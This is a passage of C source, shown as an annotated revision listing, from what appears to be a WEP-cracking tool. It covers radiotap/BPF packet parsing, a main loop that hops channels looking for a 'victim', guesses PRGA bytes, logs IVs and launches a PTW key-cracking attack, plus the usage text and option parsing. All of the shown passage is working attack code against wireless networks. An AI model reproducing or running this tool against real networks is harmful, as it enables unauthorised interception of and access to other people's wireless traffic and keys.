2306168502Ssam        /* bpf hdr */
2307168502Ssam        bpfh = (struct bpf_hdr*) (*data);
2308168502Ssam        assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2309168502Ssam        *totlen -= bpfh->bh_hdrlen;
2310168502Ssam
2311168502Ssam        /* check if more packets */
2312168502Ssam        if ((int)bpfh->bh_caplen < *totlen) {
2313168502Ssam                int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2314168502Ssam                int offset = BPF_WORDALIGN(tot);
2315168502Ssam
2316168502Ssam                *data = (char*)bpfh + offset;
2317168502Ssam                *totlen -= offset - tot; /* take into account align bytes */
2318168502Ssam        } else if ((int)bpfh->bh_caplen > *totlen)
2319168502Ssam                abort();
2320168502Ssam
2321168502Ssam        *plen = bpfh->bh_caplen;
2322168502Ssam        *totlen -= bpfh->bh_caplen;
2323168502Ssam        assert(*totlen >= 0);
2324168502Ssam
2325168502Ssam        /* radiotap */
2326168502Ssam        rth = (struct ieee80211_radiotap_header*)
2327168502Ssam              ((char*)bpfh + bpfh->bh_hdrlen);
2328168502Ssam        /* XXX cache; drivers won't change this per-packet */
2329168502Ssam        /* check if FCS/CRC is included in packet */
2330168502Ssam        present = le32toh(rth->it_present);
2331168502Ssam        if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2332168502Ssam                if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2333168502Ssam                        rflags = ((const uint8_t *)rth)[8];
2334168502Ssam                else
2335168502Ssam                        rflags = ((const uint8_t *)rth)[0];
2336168502Ssam        } else
2337168502Ssam                rflags = 0;
2338168502Ssam        *plen -= rth->it_len;
2339168502Ssam        assert(*plen > 0);
2340168502Ssam
2341168502Ssam        /* 802.11 CRC */
2342168502Ssam        if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2343168502Ssam                *plen -= IEEE80211_CRC_LEN;
2344168502Ssam                nocrc = 1;
2345168502Ssam        }
2346168502Ssam
2347168502Ssam        ptr = (char*)rth + rth->it_len;
2348168502Ssam
2349168502Ssam        return ptr;
2350168502Ssam#undef BIT
2351168502Ssam}
2352168502Ssam
2353168502Ssamstatic int read_packet(int fd, unsigned char *dst, int len)
2354168502Ssam{
2355168502Ssam	static unsigned char buf[4096];
2356168502Ssam	static int totlen = 0;
2357168502Ssam	static unsigned char *next = buf;
2358168502Ssam        unsigned char *pkt;
2359168502Ssam        int plen;
2360168502Ssam
2361168502Ssam        assert(len > 0);
2362168502Ssam
2363168502Ssam        /* need to read more */
2364168502Ssam        if (totlen == 0) {
2365168502Ssam                totlen = read(fd, buf, sizeof(buf));
2366168502Ssam                if (totlen == -1) {
2367168502Ssam                        totlen = 0;
2368168502Ssam                        return -1;
2369168502Ssam                }
2370168502Ssam                next = buf;
2371168502Ssam        }
2372168502Ssam
2373168502Ssam        /* read 802.11 packet */
2374168502Ssam        pkt = get_80211(&next, &totlen, &plen);
2375168502Ssam        if (plen > len)
2376168502Ssam                plen = len;
2377168502Ssam        assert(plen > 0);
2378168502Ssam        memcpy(dst, pkt, plen);
2379168502Ssam
2380168502Ssam        return plen;
2381168502Ssam}
2382168502Ssam
2383161030Ssamvoid own(int wifd) {
2384161030Ssam	unsigned char buf[4096];
2385161030Ssam	int rd;
2386161030Ssam	fd_set rfd;
2387161030Ssam	struct timeval tv;
2388161030Ssam	char *pbar = "/-\\|";
2389161030Ssam	char *pbarp = &pbar[0];
2390161030Ssam	struct timeval lasthop;
2391161030Ssam	struct timeval now;
2392161030Ssam	unsigned int last_wep_count = 0;
2393161030Ssam	struct timeval last_wcount;
2394161030Ssam	struct timeval last_status;
2395161030Ssam	int fd;
2396161030Ssam	int largest;
2397161030Ssam
2398161030Ssam	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2399161030Ssam	if (weplog.fd == -1) {
2400168502Ssam		struct pcap_file_header pfh;
2401168502Ssam
2402168502Ssam		memset(&pfh, 0, sizeof(pfh));
2403168502Ssam		pfh.magic           = TCPDUMP_MAGIC;
2404168502Ssam		pfh.version_major   = PCAP_VERSION_MAJOR;
2405168502Ssam		pfh.version_minor   = PCAP_VERSION_MINOR;
2406168502Ssam		pfh.thiszone        = 0;
2407168502Ssam		pfh.sigfigs         = 0;
2408168502Ssam		pfh.snaplen         = 65535;
2409168502Ssam		pfh.linktype        = LINKTYPE_IEEE802_11;
2410168502Ssam
2411161030Ssam		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2412161030Ssam				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2413168502Ssam		if (weplog.fd != -1) {
2414168502Ssam			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2415168502Ssam				err(1, "write()");
2416168502Ssam		}
2417161030Ssam	}
2418161030Ssam	else {
2419161030Ssam		time_print("WARNING: Appending in %s\n", WEP_FILE);
2420161030Ssam	}
2421161030Ssam
2422161030Ssam	if (weplog.fd == -1) {
2423161030Ssam		perror("open()");
2424161030Ssam		exit(1);
2425161030Ssam	}
2426161030Ssam
2427161030Ssam	fd = open(PRGA_FILE, O_RDONLY);
2428161030Ssam	if (fd != -1) {
2429161030Ssam		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2430161030Ssam		rd = read(fd, buf, sizeof(buf));
2431161030Ssam		if (rd == -1) {
2432161030Ssam			perror("read()");
2433161030Ssam			exit(1);
2434161030Ssam		}
2435161030Ssam		if (rd >= 8) {
2436161030Ssam			set_prga(buf, NULL, &buf[3], rd - 3);
2437161030Ssam		}
2438161030Ssam
2439161030Ssam		close(fd);
2440161030Ssam	}
2441161030Ssam
2442161030Ssam	fd = open(DICT_PATH, O_RDONLY);
2443161030Ssam	if (fd == -1) {
2444161030Ssam		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2445161030Ssam		if (mkdir (DICT_PATH, 0755) == -1) {
2446161030Ssam			perror("mkdir()");
2447161030Ssam			exit(1);
2448161030Ssam		}
2449161030Ssam	}
2450161030Ssam	else
2451161030Ssam		close(fd);
2452161030Ssam
2453161030Ssam	open_tap();
2454168502Ssam	set_if_mac(mymac, tapdev);
2455168502Ssam	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2456161030Ssam
2457161030Ssam	if (tapfd > wifd)
2458161030Ssam		largest = tapfd;
2459161030Ssam	else
2460161030Ssam		largest = wifd;
2461161030Ssam
2462161030Ssam	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2463161030Ssam		perror("signal()");
2464161030Ssam		exit(1);
2465161030Ssam	}
2466161030Ssam	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2467161030Ssam		perror("signal()");
2468161030Ssam		exit(1);
2469161030Ssam	}
2470161030Ssam
2471161030Ssam	time_print("Looking for a victim...\n");
2472161030Ssam	if (gettimeofday(&lasthop, NULL) == -1) {
2473161030Ssam		perror("gettimeofday()");
2474161030Ssam		exit(1);
2475161030Ssam	}
2476161030Ssam
2477161030Ssam	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2478161030Ssam	memcpy(&last_status, &lasthop, sizeof(last_status));
2479161030Ssam
2480161030Ssam	while (1) {
2481161030Ssam		if (gettimeofday(&now, NULL) == -1) {
2482161030Ssam			perror("gettimeofday()");
2483161030Ssam			exit(1);
2484161030Ssam		}
2485161030Ssam
2486161030Ssam		/* check for relay timeout */
2487161030Ssam		if (fragstate.waiting_relay) {
2488161030Ssam			int el;
2489161030Ssam
2490161030Ssam			el = now.tv_sec - fragstate.last.tv_sec;
2491161030Ssam			assert (el >= 0);
2492161030Ssam			if (el == 0) {
2493161030Ssam				el = now.tv_usec - fragstate.last.tv_usec;
2494161030Ssam			} else {
2495161030Ssam				el--;
2496161030Ssam
2497161030Ssam				el *= 1000*1000;
2498161030Ssam				el += 1000*1000 - fragstate.last.tv_usec;
2499161030Ssam				el += now.tv_usec;
2500161030Ssam
2501161030Ssam				if (el > (1500*1000)) {
2502161030Ssam//					printf("\nLAMER timeout\n\n");
2503161030Ssam					free(fragstate.data);
2504161030Ssam					fragstate.data = 0;
2505161030Ssam				}
2506161030Ssam			}
2507161030Ssam		}
2508161030Ssam
2509161030Ssam		/* check for arp timeout */
2510161030Ssam		if (rtrmac == (unsigned char*) 1) {
2511161030Ssam			int el;
2512161030Ssam
2513161030Ssam			el = elapsedd(&arpsend, &now);
2514161030Ssam			if (el >= (1500*1000)) {
2515161030Ssam				rtrmac = 0;
2516161030Ssam			}
2517161030Ssam		}
2518161030Ssam
2519161030Ssam		// status bar
2520161030Ssam		if ( (now.tv_sec > last_status.tv_sec ) ||
2521161030Ssam		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2522161030Ssam		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2523161030Ssam				check_key();
2524161030Ssam			}
2525161030Ssam			if (netip && prgainfo.len >= min_prga &&
2526161030Ssam			    rtrmac > (unsigned char*) 1) {
2527161030Ssam				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2528161030Ssam				       weplog.packets, wep_thresh,
2529161030Ssam				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2530161030Ssam				       weplog.rate);
2531161030Ssam				fflush(stdout);
2532161030Ssam			}
2533161030Ssam			else {
2534161030Ssam				if (state == FIND_VICTIM)
2535161030Ssam					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2536161030Ssam				else if (decryptstate.cipher) {
2537161030Ssam					int pos = decryptstate.prgainfo.len - 1;
2538161030Ssam					unsigned char prga = decryptstate.prgainfo.prga[pos];
2539161030Ssam					assert(pos);
2540161030Ssam
2541161030Ssam					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2542161030Ssam						   prga, decryptstate.cipher[pos] ^ prga);
2543161030Ssam				}
2544161030Ssam				else
2545161030Ssam					time_print("%c\r", *pbarp);
2546161030Ssam				fflush(stdout);
2547161030Ssam			}
2548161030Ssam			memcpy(&last_status, &now,sizeof(last_status));
2549161030Ssam		}
2550161030Ssam
2551161030Ssam		// check if we are cracking
2552161030Ssam		if (crack_pid) {
2553161030Ssam			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2554161030Ssam				kill_crack();
2555161030Ssam		}
2556161030Ssam
2557161030Ssam		// check TX  / retransmit
2558161030Ssam		if (txstate.waiting_ack) {
2559161030Ssam			unsigned int elapsed = now.tv_sec -
2560161030Ssam					       txstate.tsent.tv_sec;
2561161030Ssam			elapsed *= 1000*1000;
2562161030Ssam			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2563161030Ssam
2564161030Ssam			if (elapsed >= ack_timeout)
2565161030Ssam				send_frame(wifd, NULL, -1);
2566161030Ssam		}
2567161030Ssam
2568161030Ssam		// INPUT
2569161030Ssam		// select
2570161030Ssam		FD_ZERO(&rfd);
2571161030Ssam		FD_SET(wifd, &rfd);
2572161030Ssam		FD_SET(tapfd, &rfd);
2573161030Ssam		tv.tv_sec = 0;
2574161030Ssam		tv.tv_usec = 1000*10;
2575161030Ssam		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2576161030Ssam		if (rd == -1) {
2577161030Ssam			perror("select()");
2578161030Ssam			exit(1);
2579161030Ssam		}
2580161030Ssam
2581161030Ssam		// read
2582161030Ssam		if (rd != 0) {
2583161030Ssam			// wifi
2584161030Ssam			if (FD_ISSET(wifd, &rfd)) {
2585168502Ssam				rd = read_packet(wifd, buf, sizeof(buf));
2586161030Ssam				if (rd == 0)
2587161030Ssam					return;
2588161030Ssam				if (rd == -1) {
2589161030Ssam					perror("read()");
2590161030Ssam					exit(1);
2591161030Ssam				}
2592161030Ssam
2593161030Ssam				pbarp++;
2594161030Ssam				if(!(*pbarp))
2595161030Ssam					pbarp = &pbar[0];
2596161030Ssam				// input
2597161030Ssam				anal(buf, rd, wifd);
2598161030Ssam			}
2599161030Ssam
2600161030Ssam			// tap
2601161030Ssam			if (FD_ISSET(tapfd, &rfd)) {
2602161030Ssam				read_tap();
2603161030Ssam			}
2604161030Ssam		}
2605161030Ssam
2606161030Ssam		// check state and what we do next.
2607161030Ssam		if (state == FIND_VICTIM) {
2608161030Ssam			if (now.tv_sec > lasthop.tv_sec ||
2609161030Ssam			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2610161030Ssam				int chan = chaninfo.chan;
2611161030Ssam				chan++;
2612161030Ssam
2613168966Ssam				if(chan > max_chan)
2614161030Ssam					chan = 1;
2615161030Ssam
2616161030Ssam				set_chan(chan);
2617161030Ssam				memcpy(&lasthop, &now, sizeof(lasthop));
2618161030Ssam			}
2619161030Ssam		} else {
2620161030Ssam		// check if we need to write something...
2621161030Ssam			if (!txstate.waiting_ack)
2622161030Ssam				can_write(wifd);
2623161030Ssam
2624161030Ssam			// roughly!
2625161030Ssam
2626161030Ssam#ifdef MORE_ACCURATE
2627161030Ssam			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2628161030Ssam				unsigned int elapsed;
2629161030Ssam				int secs;
2630161030Ssam				int packetz = weplog.packets - last_wep_count;
2631161030Ssam				elapsed = 1000*1000;
2632161030Ssam
2633161030Ssam				elapsed -= last_wcount.tv_usec;
2634161030Ssam
2635161030Ssam				assert(elapsed >= 0);
2636161030Ssam				elapsed += now.tv_usec;
2637161030Ssam
2638161030Ssam				secs = now.tv_sec - last_wcount.tv_sec;
2639161030Ssam				secs--;
2640161030Ssam				if (secs > 0)
2641161030Ssam					elapsed += (secs*1000*1000);
2642161030Ssam
2643161030Ssam				weplog.rate = (int)
2644161030Ssam				((double)packetz/(elapsed/1000.0/1000.0));
2645161030Ssam#else
2646161030Ssam			if ( now.tv_sec > last_wcount.tv_sec) {
2647161030Ssam				weplog.rate = weplog.packets - last_wep_count;
2648161030Ssam#endif
2649161030Ssam				last_wep_count = weplog.packets;
2650161030Ssam				memcpy(&last_wcount, &now, sizeof(now));
2651161030Ssam
2652161030Ssam				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2653161030Ssam					try_crack();
2654161030Ssam			}
2655161030Ssam		}
2656161030Ssam	}
2657161030Ssam}
2658161030Ssam
2659161030Ssamvoid start(char *dev) {
2660161030Ssam	int fd;
2661161030Ssam
2662161030Ssam	setup_if(dev);
2663161030Ssam
2664161030Ssam	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2665161030Ssam
2666168502Ssam	ptw = PTW_newattackstate();
2667168502Ssam	if (!ptw)
2668168502Ssam		err(1, "PTW_newattackstate()");
2669168502Ssam
2670161030Ssam	own(fd);
2671161030Ssam
2672161030Ssam#if 0
2673161030Ssam	{
2674161030Ssam		int i;
2675161030Ssam		struct timeval tv;
2676161030Ssam		set_chan(11);
2677161030Ssam		for (i = 0; i < 10; i++) {
2678161030Ssam			gettimeofday(&tv, NULL);
2679161030Ssam
2680161030Ssam			send_ack(tx);
2681161030Ssam//			usleep(500);
2682161030Ssam			printf("%lu\n", tv.tv_usec);
2683161030Ssam		}
2684161030Ssam	}
2685161030Ssam#endif
2686161030Ssam
2687161030Ssam	close(fd);
2688161030Ssam}
2689161030Ssam
2690161030Ssamvoid usage(char* pname) {
2691161030Ssam	printf("Usage: %s <opts>\n", pname);
2692161030Ssam	printf("-h\t\tthis lame message\n");
2693161030Ssam	printf("-i\t\t<iface>\n");
2694161030Ssam	printf("-s\t\t<flood server ip>\n");
2695161030Ssam	printf("-m\t\t<my ip>\n");
2696161030Ssam	printf("-n\t\t<net ip>\n");
2697161030Ssam	printf("-r\t\t<rtr mac>\n");
2698161030Ssam	printf("-a\t\t<mymac>\n");
2699161030Ssam	printf("-c\t\tdo not crack\n");
2700161030Ssam	printf("-p\t\t<min prga>\n");
2701161030Ssam	printf("-4\t\t64 bit key\n");
2702161030Ssam	printf("-v\t\tvictim mac\n");
2703168966Ssam	printf("-t\t\t<crack thresh>\n");
2704168966Ssam	printf("-f\t\t<max chan>\n");
2705161030Ssam	exit(0);
2706161030Ssam}
2707161030Ssam
2708161030Ssamvoid str2mac(unsigned char* dst, unsigned char* mac) {
2709161030Ssam	unsigned int macf[6];
2710161030Ssam	int i;
2711161030Ssam
2712161030Ssam	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2713161030Ssam                   &macf[0], &macf[1], &macf[2],
2714161030Ssam                   &macf[3], &macf[4], &macf[5]) != 6) {
2715161030Ssam
2716161030Ssam		   printf("can't parse mac %s\n", mac);
2717161030Ssam		   exit(1);
2718161030Ssam	}
2719161030Ssam
2720161030Ssam	for (i = 0; i < 6; i++)
2721161030Ssam		*dst++ = (unsigned char) macf[i];
2722161030Ssam}
2723161030Ssam
2724161030Ssamint main(int argc, char *argv[]) {
2725161030Ssam	unsigned char* dev = "ath0";
2726161030Ssam	unsigned char rtr[6];
2727161030Ssam	unsigned char vic[6];
2728161030Ssam
2729161030Ssam	int ch;
2730161030Ssam
2731161030Ssam	if (gettimeofday(&real_start, NULL) == -1) {
2732161030Ssam		perror("gettimeofday()");
2733161030Ssam		exit(1);
2734161030Ssam	}
2735161030Ssam
2736161030Ssam	chaninfo.s = -1;
2737161030Ssam	victim.ssid = 0;
2738161030Ssam	prgainfo.len = 0;
2739161030Ssam
2740161030Ssam	memset(&txstate, 0, sizeof(txstate));
2741161030Ssam	memset(&fragstate, 0, sizeof(fragstate));
2742161030Ssam	memset(&decryptstate, 0, sizeof(decryptstate));
2743161030Ssam	memset(&weplog, 0, sizeof(weplog));
2744161030Ssam
2745161030Ssam	state = FIND_VICTIM;
2746161030Ssam
2747168966Ssam	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2748161030Ssam		switch (ch) {
2749161030Ssam			case 'a':
2750161030Ssam				str2mac(mymac, optarg);
2751161030Ssam				break;
2752161030Ssam
2753161030Ssam			case 's':
2754161030Ssam				floodip = optarg;
2755161030Ssam				break;
2756161030Ssam
2757161030Ssam			case 'i':
2758161030Ssam				dev = optarg;
2759161030Ssam				break;
2760161030Ssam
2761161030Ssam			case 'm':
2762161030Ssam				strncpy(myip, optarg, sizeof(myip)-1);
2763161030Ssam				myip[sizeof(myip)-1] = 0;
2764161030Ssam				break;
2765161030Ssam
2766161030Ssam			case 'n':
2767161030Ssam				netip = optarg;
2768168502Ssam				netip_arg = 1;
2769161030Ssam				break;
2770161030Ssam
2771161030Ssam			case 'r':
2772161030Ssam				str2mac(rtr, optarg);
2773161030Ssam				rtrmac = rtr;
2774161030Ssam				break;
2775161030Ssam
2776161030Ssam			case 'v':
2777161030Ssam				str2mac(vic, optarg);
2778161030Ssam				victim_mac = vic;
2779161030Ssam				break;
2780161030Ssam
2781161030Ssam			case 'c':
2782161030Ssam				wep_thresh = -1;
2783161030Ssam				break;
2784161030Ssam
2785161030Ssam			case 'p':
2786161030Ssam				min_prga = atoi(optarg);
2787161030Ssam				break;
2788161030Ssam
2789168966Ssam			case 't':
2790168966Ssam				thresh_incr = wep_thresh = atoi(optarg);
2791168966Ssam				break;
2792168966Ssam
2793168966Ssam			case 'f':
2794168966Ssam				max_chan = atoi(optarg);
2795168966Ssam				break;
2796168966Ssam
2797161030Ssam			case '4':
2798161030Ssam				bits = 64;
2799161030Ssam				break;
2800161030Ssam
2801161030Ssam			default:
2802161030Ssam				usage(argv[0]);
2803161030Ssam				break;
2804161030Ssam		}
2805161030Ssam	}
2806161030Ssam
2807161030Ssam	start(dev);
2808161030Ssam
2809161030Ssam	if(chaninfo.s != -1)
2810161030Ssam		close(chaninfo.s);
2811161030Ssam	if(victim.ssid)
2812161030Ssam		free(victim.ssid);
2813161030Ssam	exit(0);
2814161030Ssam}
2815